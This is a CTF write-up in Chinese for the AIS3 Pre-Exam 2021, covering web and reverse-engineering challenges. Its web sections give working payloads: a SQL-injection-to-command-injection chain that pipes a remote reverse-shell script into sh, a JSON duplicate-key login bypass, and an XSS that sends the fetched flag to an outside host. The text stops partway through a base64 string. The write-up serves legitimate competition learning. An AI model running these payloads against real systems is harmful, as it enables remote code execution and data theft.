AIS3 Pre-Exam 2021

Welcome

Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi

題目給出:

TERM=xterm-256color ssh -p 5566 [email protected]

這題比較容易,ssh進去猜數字就好

答案:

2025830455298

Web

【5/22 重要公告】

存在SQL Injection,資料庫是sqlite

http://quiz.ais3.org:8001/?module=modules/api&id=7

可以控制hostport來SSRF:

http://quiz.ais3.org:8001/?module=modules/api&id=-7%20union%20select%20%27sqli%27,%27google.com%27,%2780%27

LFI:

http://quiz.ais3.org:8001/?module=php://filter/convert.base64-encode/resource=index
<?php
include ($_GET['module'] ?? "modules/home").".php";
http://quiz.ais3.org:8001/?module=php://filter/convert.base64-encode/resource=modules/api
<?php
header('Content-Type: application/json');

include "config.php";
$db = new SQLite3(SQLITE_DB_PATH);

if (isset($_GET['id'])) {
    $data = $db->querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true);
    $host = str_replace(' ', '', $data['host']);
    $port = (int) $data['port'];
    $data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE;
    echo json_encode($data);
} else {
    $json_resp = [];
    $query_res = $db->query("SELECT * FROM challenges");
    while ($row = $query_res->fetchArray(SQLITE3_ASSOC)) $json_resp[] = $row;
    echo json_encode($json_resp);
}

host不能有,可以用${IFS}繞過,

shell_exec("timeout 1 nc -vz '$host' $port 2>&1")

RCE:

quiz.ais3.org:8001/?module=modules/api&id=-7 union select 'sqli',"'||curl${IFS}https://shell.r5.lt/10.153.1.42:12666|sh||'",'123'

拼出來的command長這樣:

timeout 1 nc -vz ''||curl${IFS}https://shell.r5.lt/10.153.1.42:12666|sh||'' 123 2>&1

HaaS

首頁有一個SSRF,不能請求127.0.0.1localhost,然後有一個status的參數

先用127.0.0.2繞過127.0.0.1,然後server會返回Alive

然後status201就噴flag了

後來想了一下,流程應該是請求url,如果response code是預期的,就return Alive,如果code不一樣就會當成是exception把source code印出來

ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ ?ⲟ?ⲓⲛ ⲣⲁ?ⲉ

from flask import Flask, request, make_response, redirect, session, render_template, send_file
import os
import json

app = Flask(__name__)
app.secret_key = os.urandom(32)

FLAG = os.environ.get('FLAG', 'AIS3{TEST_FLAG}')
users_db = {
    'guest': 'guest',
    'admin': os.environ.get('PASSWORD', 'S3CR3T_P455W0RD')
}


@app.route("/")
def index():
    def valid_user(user):
        return users_db.get(user['username']) == user['password']

    if 'user_data' not in session:
        return render_template("login.html", message="Login Please :D")

    user = json.loads(session['user_data'])
    if valid_user(user):
        if user['showflag'] == True and user['username'] != 'guest':
            return FLAG
        else:
            return render_template("welcome.html", username=user['username'])

    return render_template("login.html", message="Verify Failed :(")


@app.route("/login", methods=['POST'])
def login():
    data = '{"showflag": false, "username": "%s", "password": "%s"}' % (
        request.form["username"], request.form['password']
    )
    session['user_data'] = data
    return redirect("/")


@app.route("/logout")
def logout():
    session.clear()
    return redirect("/")


@app.route("/sauce")
def sauce():
    return send_file(__file__, mimetype="text/plain")


if __name__ == '__main__':
    app.run(threaded=True, debug=True)

需要valid_user()返回True,且user['showflag']也要是True,且user['username']不能等於guest

登入的時候可以利用重複key值來覆蓋前面的,dict.get()如果key不存在會返回None,所以需要構造一個showflag == True and username != 'guest'

POST送這個request:

username=123&password=aaa", "username": "asd", "password": null, "showflag": true, "a": "a

Server拼起來變這樣:

{"showflag": false, "username": "123", "password": "aaa", "username": "asd", "password": null, "showflag": true, "a": "a"}

經過json.loads()會變成:

{'showflag': True, 'username': 'asd', 'password': None, 'a': 'a'}

就符合上面的條件了

XSS Me

message參數存在反射XSS:

http://quiz.ais3.org:8003/?message=

經測試發現最多只能55個字,後面的都會變成…

CSP禁止存取外部資源,但是可以使用inline元素

default-src 'self' 'unsafe-inline';

最後在chrome的console隨便測試的時候發現可以直接decodeURIComponent(location),但是又太長了,最後去翻developer docs才知道原來還有個decodeURI,這樣就剛好55個字了。

message=</script><script>document.write(decodeURI(location));//

Final payload:

http://quiz.ais3.org:8003/?fuck=%3Cscript%3Efetch(%27/getflag%27).then((_)=%3E_.text().then((_)=%3E{location=`http://10.153.1.42:8000/${encodeURI(_)}`}))%3C/script%3E&message=%3C/script%3E%3Cscript%3Edocument.write(decodeURI(location));//

Reverse

Piano

逆向dll可以看到:

    private void onClickHandler(object sender, EventArgs e)
    {
      Button button = (Button) sender;
      this.notes.Add(this.buttons.IndexOf(button));
      this.audio.SoundLocation = Path.Combine(this.rootLocation, "..\\Resources\\" + button.Name + ".wav");
      this.audio.Play();
      if (this.notes.Count != 14)
        return;
      if (this.isValid())
      {
        int num = (int) MessageBox.Show(this.nya());
      }
      this.notes.RemoveAt(0);
    }

如果notes有14個且符合isValid()就印出nya()

可以直接根據isValid()算出notes是

notes = [7, 7, 10, 10, 11, 11, 10, 9, 9, 3, 3, 8, 8, 7]
notes = [7, 7, 10, 10, 11, 11, 10, 9, 9, 3, 3, 8, 8, 7]


def is_valid():
    l1 = [14, 17, 20, 21, 22, 21, 19, 18, 12, 6, 11, 16, 15, 14]
    l2 = [0, -3, 0, -1, 0, 1, 1, 0, 6, 0, -5, 0, 1, 0]
    for index in range(14):
        if notes[index] + notes[(index + 1) % 14] != l1[index] or \
                notes[index] - notes[(index + 1) % 14] != l2[index]:
            return False
    return True


def nya():
    l1 = [70, 78, 89, 57, 112, 60, 125, 96, 103, 104, 50, 109, 87, 115, 112, 54, 100, 97, 103, 56, 85, 101, 56, 119,
          119, 100, 59, 88, 50, 48, 62, 120, 84, 58, 100, 86, 74, 92, 54, 96, 60, 117, 119, 122]
    c = []
    for index in range(len(l1)):
        c.append(chr(l1[index] ^ notes[index % len(notes)]))
    print(''.join(c))


print(is_valid())
nya()

COLORS

因為是第一次逆向js,所以先花點時間把JS整理整理:

const arr = [
    'repeat',
    '1YqKovX',
    'NDBCMjBnMzBpNTFKNjA2MDFcMzB3NDAxMzBBNDFqNDBcNDExMzBnNzB1MzBpMTBrMzBsNDA3NjB4NTBpNTBYMTBLMTBJNDBoNTBYMDBLNDFpNTFsNzA2NzBmNDBvMTA2NTA1NzBLMTFuNTE4NzA3NDFCNTAtMTE4NDB3MzFhMTByNDF6NzBLMzA9MjA9MTA9',
    'substr',
    'output',
    'getElementsByTagName',
    '65022JgPEZp',
    'keydown',
    'length',
    'innerHTML',
    '677PRUQAU',
    'ArrowLeft',
    'QWxTM3tCYXNFNjRfaTUrYjByTkluZ35cUXdvLy14SDhXekNqN3ZGRDJleVZrdHFPTDFHaEtZdWZtWmRKcFg5fQ==',
    '133781JKLWBV',
    'ArrowUp',
    '90407czXCgh',
    'PGRpdiBzdHlsZT0id2lkdGg6IDM1MHB4OyBwb3NpdGlvbjogYWJzb2x1dGU7IGJvdHRvbTogMHB4OyBsZWZ0OiAwcHg7Ij48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGFuaW1hdGlvbjogcmFpbmJvdyAycyBsaW5lYXIgMHMgaW5maW5pdGUgbm9ybWFsOyBwb3NpdGlvbjogYWJzb2x1dGU7IHRvcDogLTEwcHg7IGxlZnQ6IDUwJTsgZm9udC1zaXplOiAyMHB4OyB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoLTUwJSk7IHdpZHRoOiAzNTBweDsiPkhlcmUgaXMgeW91cjxicj4iZW5jb2RlZCIgZmxhZyw8YnI+aW5wdXQgdG8gZW5jb2RlIHNvbWV0aGluZyBlbHNlITwvZGl2PiA8c3ZnIGlkPSLwn5CIIiB4PSIwcHgiIHk9IjBweCIgdmlld0JveD0iMCAwIDEyOCAxMjgiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIzIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiPjxwYXRoIGlkPSJib2R5Ij48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJmaWxsIiBkdXI9IjUwMG1zIiByZXBlYXRDb3VudD0iaW5kZWZpbml0ZSIga2V5VGltZXM9IjA7MC4xOzAuMjswLjM7MC40OzAuNTswLjY7MC43OzAuODswLjk7MSIgdmFsdWVzPSIgI2ZmOGQ4YjsgI2ZlZDY4OTsgIzg4ZmY4OTsgIzg3ZmZmZjsgIzhiYjVmZTsgI2Q3OGNmZjsgI2ZmOGNmZjsgI2ZmNjhmNzsgI2ZlNmNiNzsgI2ZmNjk2ODsgI2ZmOGQ4YiAiPjwvYW5pbWF0ZT48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJkIiBkdXI9IjUwMG1zIiByZXBlYXRDb3VudD0iaW5kZWZpbml0ZSIga2V5VGltZXM9IjA7MC4xOzAuMjswLjM7MC40OzAuNTswLjY7MC43OzAuODswLjk7MSIgdmFsdWVzPSIgTTY3LjEsMTA5LjVjLTkuNiwwLTIzLjYtOC44LTIzLjYtMjRjMC0xMi4xLDE3LjgtNDEsMzcuNS00MWMxNS42LDAsMjMuMywxMC42LDI1LjEsMjAuNSBjMS45LDEwLjcsMy45LDguMiwzLjksMTkuNWMwLDguMi0zLjgsMTctMy44LDIyLjNjMCwzLjksMS40LDcuNCwyLjksMTAuNWMxLjcsMy41LDIuNCw2LjYsMi40LDkuMkg5LjVjMC0xMy43LDEwLjgtMTQsMjEuMS0yMyBjNS42LTQuOSwxMS0xMi40LDE0LjUtMjY7IE01Ni4xLDEwNy41Yy05LjYsMC0yNC42LTEzLjgtMjQuNi0yOWMwLTE2LjIsMTMtNDIsMzMuNS00MmMxNy44LDAsMjIuMywxMS42LDI2LjEsMjIuNSBjMy42LDEwLjMsOS45LDkuMiw5LjksMjAuNWMwLDguMi0xLjgsNy0xLjgsMTIuM2MwLDQuNSwzLjQsOC4yLDYuNCwxNC4xYzIuNSw0LjgsNC44LDExLjIsNC44LDIwLjZoLTk5YzAtMTIuMSw3LjItMTcuNiwxNC43LTI0LjMgYzMuMi0yLjksNi41LTUuOSw5LjItOS44OyBNNDUuMSwxMDkuNWMtNS41LTAuMi0yNy42LTguNC0yNy42LTI3YzAtMTcuOSwxNC44LTQyLDMyLjUtNDJjMTUuNCwwLDI0LDEwLjQsMjYuMSwyMS41IGMxLjMsNi43LDkuOSw5LjgsOS45LDIxLjVjMCw4LjItMC44LDYtMC44LDExLjNjMCw3LjcsMTIuOCw5LDIwLjgsMTVjNy43LDUuOCwxNS41LDE2LjcsMTUuNSwxNi43aC0xMTBjMC00LjgsMS43LTExLjMsNS0xNiBjMy4yLTQuNSw0LjUtOC4zLDUtMTU7IE0zNiwxMjBjLTUuNS0wLjItMjguNS0xMS45LTI4LjUtMzAuNWMwLTE2LjIsMTIuNS00MiwzMy00MmMxNy44LDAsMjEuOCw5LjYsMjUuNiwyMC41IEM2OS43LDc4LjMsNzYsNzguMiw3Niw4OS41YzAsOC4yLTAuOCw0LTAuOCw5LjNjMCw1LjksMTYuNSw3LjgsMjguNCwxNS45YzgsNS41LDE3LjksMTEuOCwxNy45LDExLjhoLTExMGMwLTIuMS0xLjItNS4yLTEuOS0xNC41IGMtMC4zLTMuNi0wLjUtOC4xLTAuNS0xMy45OyBNMzcsMTE5LjVjLTE1LDAuMS0zMy41LTEyLjctMzMuNS0zMEMzLjUsNzMuMywxNiw0NywzNi41LDQ3YzE3LjgsMCwyMi44LDExLDI2LDIyIEM2NS42LDc5LjQsNzMsNzkuMiw3Myw5MC41YzAsNC0xLjgsNi42LTEuOCw4LjNjMCw1LjksMTQuMiw2LjQsMjYuNCwxNS45YzcuNyw2LDEzLjksMTEuOCwxMy45LDExLjhINy41Yy0xLjItMy40LTEuOC03LjMtMS45LTExLjIgYy0wLjItNS4xLDAuMy0xMC4xLDAuOS0xMy43OyBNNDAuNSwxMjEuNWMtMTIuNiwwLTMwLTEzLjQtMzAtMjlDMTAuNSw3Ni4zLDIzLDUzLDQzLjUsNTNjMTQuNSwwLDIyLjgsOS42LDI1LDIyIGMxLjIsNi45LDEwLDkuMiwxMCwyMC41YzAsNCwwLDUuNiwwLDcuM2MwLDQuOSw2LjEsNy41LDExLjIsMTEuOWM1LjgsNSw3LjIsMTEuOCw3LjIsMTEuOEg4LjVjMC0xLjUtMC42LTYuMSwwLjQtMTEuOCBjMC42LTMuNSwxLjktNy41LDQuMy0xMS42OyBNNDguNSwxMjEuNWMtMTIuNiwwLTI1LTYuMy0yNS0xOGMwLTE2LjIsMTMuNy00NywzNi00N2MxNS42LDAsMjQuOCw5LjEsMjcsMjEuNSBjMS4yLDYuOSw3LDkuMiw3LDE4LjVjMCw5LjUtNCwxMS00LDIyYzAsNC4xLDAuNSw1LDEsNmMwLjUsMS4yLDEsMiwxLDJoLTgxYzAtNS4zLDMuMS04LjMsNi4zLTExLjVjMi42LTIuNiw1LjQtNS4zLDYuNy05LjU7IE02OC41LDEyMS41Yy0xMi42LDAtMzMtNS44LTMzLTIzYzAtOS4yLDExLjgtMzYsMzctMzZjMTUuNiwwLDI1LjgsOC4xLDI4LDIwLjUgYzEuMiw2LjksNCw2LjIsNCwxNS41YzAsOS41LTUsMTUuMS01LDIxYzAsMS45LDEsMi4zLDEsNWMwLDEuMiwwLDIsMCwyaC05MWMwLjUtNy42LDcuMS0xMS4xLDEzLjctMTUuN2M0LjktMy40LDkuOS03LjUsMTIuMy0xNC4zOyBNNzMuNSwxMTcuNWMtMTIuNiwwLTMwLTYuMi0zMC0yNWMwLTE0LjIsMjAuOS0zNywzOC0zN2MxNy42LDAsMjUuOCwxMS4xLDI4LDIzLjUgYzEuMiw2LjksMyw3LjIsMywxNi41YzAsMTIuMS02LDE2LjEtNiwyMmMwLDQuMiwyLDUuMywyLDhjMCwxLjIsMCwxLDAsMUg3LjVjMi4xLTkuNCwxMC40LTEzLjMsMTkuMi0xOS40IGM3LjEtNSwxNC40LTExLjUsMTguOC0yMy42OyBNODAuNSwxMTUuNWMtMTIuNiwwLTMyLTkuMi0zMi0yOGMwLTE0LjIsMjIuOS0zNSw0MC0zNWMxNy42LDAsMjUuOCwxMi4xLDI4LDI0LjUgYzEuMiw2LjksMyw2LjIsMywxNS41YzAsMTIuMS02LDE5LjEtNiwyNWMwLDQuMiwyLDUuMywyLDhjMCwxLjIsMCwxLDAsMWgtMTAyYzIuMy04LjcsMTEuNi0xMS43LDIwLjgtMjAuMSBjNS4zLTQuOCwxMC41LTExLjQsMTQuMi0yMS45OyBNNjcuMSwxMDkuNWMtOS42LDAtMjMuNi04LjgtMjMuNi0yNGMwLTEyLjEsMTcuOC00MSwzNy41LTQxYzE1LjYsMCwyMy4zLDEwLjYsMjUuMSwyMC41IGMxLjksMTAuNywzLjksOC4yLDMuOSwxOS41YzAsOC4yLTMuOCwxNy0zLjgsMjIuM2MwLDMuOSwxLjQsNy40LDIuOSwxMC41YzEuNywzLjUsMi40LDYuNiwyLjQsOS4ySDkuNWMwLTEzLjcsMTAuOC0xNCwyMS4xLTIzIGM1LjYtNC45LDExLTEyLjQsMTQuNS0yNiAiPjwvYW5pbWF0ZT48L3BhdGg+PHBhdGggaWQ9ImJlYWsiIGZpbGw9IiM3YjhjNjgiPjxhbmltYXRlIGF0dHJpYnV0ZU5hbWU9ImQiIGR1cj0iNTAwbXMiIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiBrZXlUaW1lcz0iMDswLjE7MC4yOzAuMzswLjQ7MC41OzAuNjswLjc7MC44OzAuOTsxIiB2YWx1ZXM9IiBNNzguMjksNzBjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzc4LjI5LDg1LjUsNzguMjksNzBaOyBNNjIuMjksNjRjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzYyLjI5LDc5LjUsNjIuMjksNjRaOyBNNDguMjksNjdjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzQ4LjI5LDgyLjUsNDguMjksNjdaOyBNMzYuMjksNzNjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzM2LjI5LDg4LjUsMzYuMjksNzNaOyBNMzUuMjksNzVjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzM1LjI5LDkwLjUsMzUuMjksNzVaOyBNNDEuMjksODFjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzQxLjI5LDk2LjUsNDEuMjksODFaOyBNNTkuMjksODRjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzU5LjI5LDk5LjUsNTkuMjksODRaOyBNNzIuMjksODljMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzcyLjI5LDEwNC41LDcyLjI5LDg5WjsgTTgwLjI5LDgyYzAtOS45MiwyLjUtMTQsOC0xNHM4LDIuMTcsOCwxMC42N2MwLDE1LjkyLTcsMjYuMzMtNywyNi4zM1M4MC4yOSw5Ny41LDgwLjI5LDgyWjsgTTg3LjI5LDc4YzAtOS45MiwyLjUtMTQsOC0xNHM4LDIuMTcsOCwxMC42N2MwLDE1LjkyLTcsMjYuMzMtNywyNi4zM1M4Ny4yOSw5My41LDg3LjI5LDc4WjsgTTc4LjI5LDcwYzAtOS45MiwyLjUtMTQsOC0xNHM4LDIuMTcsOCwxMC42N2MwLDE1LjkyLTcsMjYuMzMtNywyNi4zM1M3OC4yOSw4NS41LDc4LjI5LDcwWiAiPjwvYW5pbWF0ZT48L3BhdGg+PGVsbGlwc2UgaWQ9ImV5ZS1yaWdodCIgcng9IjMiIHJ5PSI0Ij48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJjeCIgZHVyPSI1MDBtcyIgcmVwZWF0Q291bnQ9ImluZGVmaW5pdGUiIGtleVRpbWVzPSIwOzAuMTswLjI7MC4zOzAuNDswLjU7MC42OzAuNzswLjg7MC45OzEiIHZhbHVlcz0iMTAwOzg0OzcwOzU4OzU3OzYzOzgxOzk0OzEwMjsxMDk7MTAwIj48L2FuaW1hdGU+PGFuaW1hdGUgYXR0cmlidXRlTmFtZT0iY3kiIGR1cj0iNTAwbXMiIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiBrZXlUaW1lcz0iMDswLjE7MC4yOzAuMzswLjQ7MC41OzAuNjswLjc7MC44OzAuOTsxIiB2YWx1ZXM9IjYyOzU2OzU5OzY1OzY3OzczOzc2OzgxOzc0OzcwOzYyIj48L2FuaW1hdGU+PC9lbGxpcHNlPjxlbGxpcHNlIGlkPSJleWUtbGVmdCIgcng9IjMiIHJ5PSI0Ij48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJjeCIgZHVyPSI1MDBtcyIgcmVwZWF0Q291bnQ9ImluZGVmaW5pdGUiIGtleVRpbWVzPSIwOzAuMTswLjI7MC4zOzAuNDswLjU7MC42OzAuNzswLjg7MC45OzEiIHZhbHVlcz0iNjcuNTs1MS41OzM3LjU7MjUuNTsyNC41OzMwLjU7NDguNTs2MS41OzY5LjU7NzYuNTs2Ny41Ij48L2FuaW1hdGU+PGFuaW1hdGUgYXR0cmlidXRlTmFtZT0iY3kiIGR1cj0iNTAwbXMiIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiBrZXlUaW1lcz0iMDswLjE7MC4yOzAuMzswLjQ7MC41OzAuNjswLjc7MC44OzAuOTsxIiB2YWx1ZXM9IjYyOzU2OzU5OzY1OzY3OzczOzc2OzgxOzc0OzcwOzYyIj48L2FuaW1hdGU+PC9lbGxpcHNlPjwvc3ZnPjwvZGl2Pg==',
    '131837PcDnWL',
    '19pQimXL',
    '623605MIswVM',
    'charCodeAt',
    'join',
    '4WsUYDr',
    '686oWrfyq',
    'body',
    'map',
    'getElementById',
    'textContent',
    'match',
    'key',
    '302349wKdZHP',
    '4OYJFlQ',
    'input',
    'padStart',
    'Backspace'
];

function getArrData(index, _0x212ed3) {
    index = index - 454;
    return arr[index];
}

(function (param1, param2) {
    const _getArrData = getArrData;
    while (true) {
        try {
            // NaN ??
            const _0x12c745 = -parseInt(_getArrData(486)) + parseInt(_getArrData(462)) * -parseInt(_getArrData(478)) + -parseInt(_getArrData(475)) + -parseInt(_getArrData(487)) * parseInt(_getArrData(471)) + -parseInt(_getArrData(469)) * parseInt(_getArrData(457)) + parseInt(_getArrData(479)) * -parseInt(_getArrData(466)) + parseInt(_getArrData(473)) * parseInt(_getArrData(474));
            if (_0x12c745 === param2) {
                break;
            } else {
                param1['push'](param1['shift']());
            }
        } catch (_0xe36f7) {
            param1['push'](param1['shift']());
        }
    }
}(arr, 359030),
    // 這裡開始一個新的function
    // 上面的function會把arr重新排序
    // 最後結果長這樣:
    /*
        0: "padStart"
        1: "Backspace"
        2: "repeat"
        3: "1YqKovX"
        4: "NDBCMjBnMzBpNTFKNjA2MDFcMzB3NDAxMzBBNDFqNDBcNDExMzBnNzB1MzBpMTBrMzBsNDA3NjB4NTBpNTBYMTBLMTBJNDBoNTBYMDBLNDFpNTFsNzA2NzBmNDBvMTA2NTA1NzBLMTFuNTE4NzA3NDFCNTAtMTE4NDB3MzFhMTByNDF6NzBLMzA9MjA9MTA9"
        5: "substr"
        6: "output"
        7: "getElementsByTagName"
        8: "65022JgPEZp"
        9: "keydown"
        10: "length"
        11: "innerHTML"
        12: "677PRUQAU"
        13: "ArrowLeft"
        14: "QWxTM3tCYXNFNjRfaTUrYjByTkluZ35cUXdvLy14SDhXekNqN3ZGRDJleVZrdHFPTDFHaEtZdWZtWmRKcFg5fQ=="
        15: "133781JKLWBV"
        16: "ArrowUp"
        17: "90407czXCgh"
        18: "PGRpdiBzdHlsZT0id2lkdGg6IDM1MHB4OyBwb3NpdGlvbjogYWJzb2x1dGU7IGJvdHRvbTogMHB4OyBsZWZ0OiAwcHg7Ij48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGFuaW1hdGlvbjogcmFpbmJvdyAycyBsaW5lYXIgMHMgaW5maW5pdGUgbm9ybWFsOyBwb3NpdGlvbjogYWJzb2x1dGU7IHRvcDogLTEwcHg7IGxlZnQ6IDUwJTsgZm9udC1zaXplOiAyMHB4OyB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoLTUwJSk7IHdpZHRoOiAzNTBweDsiPkhlcmUgaXMgeW91cjxicj4iZW5jb2RlZCIgZmxhZyw8YnI+aW5wdXQgdG8gZW5jb2RlIHNvbWV0aGluZyBlbHNlITwvZGl2PiA8c3ZnIGlkPSLwn5CIIiB4PSIwcHgiIHk9IjBweCIgdmlld0JveD0iMCAwIDEyOCAxMjgiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIzIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiPjxwYXRoIGlkPSJib2R5Ij48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJmaWxsIiBkdXI9IjUwMG1zIiByZXBlYXRDb3VudD0iaW5kZWZpbml0ZSIga2V5VGltZXM9IjA7MC4xOzAuMjswLjM7MC40OzAuNTswLjY7MC43OzAuODswLjk7MSIgdmFsdWVzPSIgI2ZmOGQ4YjsgI2ZlZDY4OTsgIzg4ZmY4OTsgIzg3ZmZmZjsgIzhiYjVmZTsgI2Q3OGNmZjsgI2ZmOGNmZjsgI2ZmNjhmNzsgI2ZlNmNiNzsgI2ZmNjk2ODsgI2ZmOGQ4YiAiPjwvYW5pbWF0ZT48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJkIiBkdXI9IjUwMG1zIiByZXBlYXRDb3VudD0iaW5kZWZpbml0ZSIga2V5VGltZXM9IjA7MC4xOzAuMjswLjM7MC40OzAuNTswLjY7MC43OzAuODswLjk7MSIgdmFsdWVzPSIgTTY3LjEsMTA5LjVjLTkuNiwwLTIzLjYtOC44LTIzLjYtMjRjMC0xMi4xLDE3LjgtNDEsMzcuNS00MWMxNS42LDAsMjMuMywxMC42LDI1LjEsMjAuNSBjMS45LDEwLjcsMy45LDguMiwzLjksMTkuNWMwLDguMi0zLjgsMTctMy44LDIyLjNjMCwzLjksMS40LDcuNCwyLjksMTAuNWMxLjcsMy41LDIuNCw2LjYsMi40LDkuMkg5LjVjMC0xMy43LDEwLjgtMTQsMjEuMS0yMyBjNS42LTQuOSwxMS0xMi40LDE0LjUtMjY7IE01Ni4xLDEwNy41Yy05LjYsMC0yNC42LTEzLjgtMjQuNi0yOWMwLTE2LjIsMTMtNDIsMzMuNS00MmMxNy44LDAsMjIuMywxMS42LDI2LjEsMjIuNSBjMy42LDEwLjMsOS45LDkuMiw5LjksMjAuNWMwLDguMi0xLjgsNy0xLjgsMTIuM2MwLDQuNSwzLjQsOC4yLDYuNCwxNC4xYzIuNSw0LjgsNC44LDExLjIsNC44LDIwLjZoLTk5YzAtMTIuMSw3LjItMTcuNiwxNC43LTI0LjMgYzMuMi0yLjksNi41LTUuOSw5LjItOS44OyBNNDUuMSwxMDkuNWMtNS41LTAuMi0yNy42LTguNC0yNy42LTI3YzAtMTcuOSwxNC44LTQyLDMyLjUtNDJjMTUuNCwwLDI0LDEwLjQsMjYuMSwyMS41IGMxLjMsNi43LDkuOSw5LjgsOS45LDIxLjVjMCw4LjItMC44LDYtMC44LDExLjNjMCw3LjcsMTIuOCw5LDIwLjgsMTVjNy43LDUuOCwxNS41LDE2LjcsMTUuNSwxNi43aC0xMTBjMC00LjgsMS43LTExLjMsNS0xNiBjMy4yLTQuNSw0LjUtOC4zLDUtMTU7IE0zNiwxMjBjLTUuNS0wLjItMjguNS0xMS45LTI4LjUtMzAuNWMwLTE2LjIsMTIuNS00MiwzMy00MmMxNy44LDAsMjEuOCw5LjYsMjUuNiwyMC41IEM2OS43LDc4LjMsNzYsNzguMiw3Niw4OS41YzAsOC4yLTAuOCw0LTAuOCw5LjNjMCw1LjksMTYuNSw3LjgsMjguNCwxNS45YzgsNS41LDE3LjksMTEuOCwxNy45LDExLjhoLTExMGMwLTIuMS0xLjItNS4yLTEuOS0xNC41IGMtMC4zLTMuNi0wLjUtOC4xLTAuNS0xMy45OyBNMzcsMTE5LjVjLTE1LDAuMS0zMy41LTEyLjctMzMuNS0zMEMzLjUsNzMuMywxNiw0NywzNi41LDQ3YzE3LjgsMCwyMi44LDExLDI2LDIyIEM2NS42LDc5LjQsNzMsNzkuMiw3Myw5MC41YzAsNC0xLjgsNi42LTEuOCw4LjNjMCw1LjksMTQuMiw2LjQsMjYuNCwxNS45YzcuNyw2LDEzLjksMTEuOCwxMy45LDExLjhINy41Yy0xLjItMy40LTEuOC03LjMtMS45LTExLjIgYy0wLjItNS4xLDAuMy0xMC4xLDAuOS0xMy43OyBNNDAuNSwxMjEuNWMtMTIuNiwwLTMwLTEzLjQtMzAtMjlDMTAuNSw3Ni4zLDIzLDUzLDQzLjUsNTNjMTQuNSwwLDIyLjgsOS42LDI1LDIyIGMxLjIsNi45LDEwLDkuMiwxMCwyMC41YzAsNCwwLDUuNiwwLDcuM2MwLDQuOSw2LjEsNy41LDExLjIsMTEuOWM1LjgsNSw3LjIsMTEuOCw3LjIsMTEuOEg4LjVjMC0xLjUtMC42LTYuMSwwLjQtMTEuOCBjMC42LTMuNSwxLjktNy41LDQuMy0xMS42OyBNNDguNSwxMjEuNWMtMTIuNiwwLTI1LTYuMy0yNS0xOGMwLTE2LjIsMTMuNy00NywzNi00N2MxNS42LDAsMjQuOCw5LjEsMjcsMjEuNSBjMS4yLDYuOSw3LDkuMiw3LDE4LjVjMCw5LjUtNCwxMS00LDIyYzAsNC4xLDAuNSw1LDEsNmMwLjUsMS4yLDEsMiwxLDJoLTgxYzAtNS4zLDMuMS04LjMsNi4zLTExLjVjMi42LTIuNiw1LjQtNS4zLDYuNy05LjU7IE02OC41LDEyMS41Yy0xMi42LDAtMzMtNS44LTMzLTIzYzAtOS4yLDExLjgtMzYsMzctMzZjMTUuNiwwLDI1LjgsOC4xLDI4LDIwLjUgYzEuMiw2LjksNCw2LjIsNCwxNS41YzAsOS41LTUsMTUuMS01LDIxYzAsMS45LDEsMi4zLDEsNWMwLDEuMiwwLDIsMCwyaC05MWMwLjUtNy42LDcuMS0xMS4xLDEzLjctMTUuN2M0LjktMy40LDkuOS03LjUsMTIuMy0xNC4zOyBNNzMuNSwxMTcuNWMtMTIuNiwwLTMwLTYuMi0zMC0yNWMwLTE0LjIsMjAuOS0zNywzOC0zN2MxNy42LDAsMjUuOCwxMS4xLDI4LDIzLjUgYzEuMiw2LjksMyw3LjIsMywxNi41YzAsMTIuMS02LDE2LjEtNiwyMmMwLDQuMiwyLDUuMywyLDhjMCwxLjIsMCwxLDAsMUg3LjVjMi4xLTkuNCwxMC40LTEzLjMsMTkuMi0xOS40IGM3LjEtNSwxNC40LTExLjUsMTguOC0yMy42OyBNODAuNSwxMTUuNWMtMTIuNiwwLTMyLTkuMi0zMi0yOGMwLTE0LjIsMjIuOS0zNSw0MC0zNWMxNy42LDAsMjUuOCwxMi4xLDI4LDI0LjUgYzEuMiw2LjksMyw2LjIsMywxNS41YzAsMTIuMS02LDE5LjEtNiwyNWMwLDQuMiwyLDUuMywyLDhjMCwxLjIsMCwxLDAsMWgtMTAyYzIuMy04LjcsMTEuNi0xMS43LDIwLjgtMjAuMSBjNS4zLTQuOCwx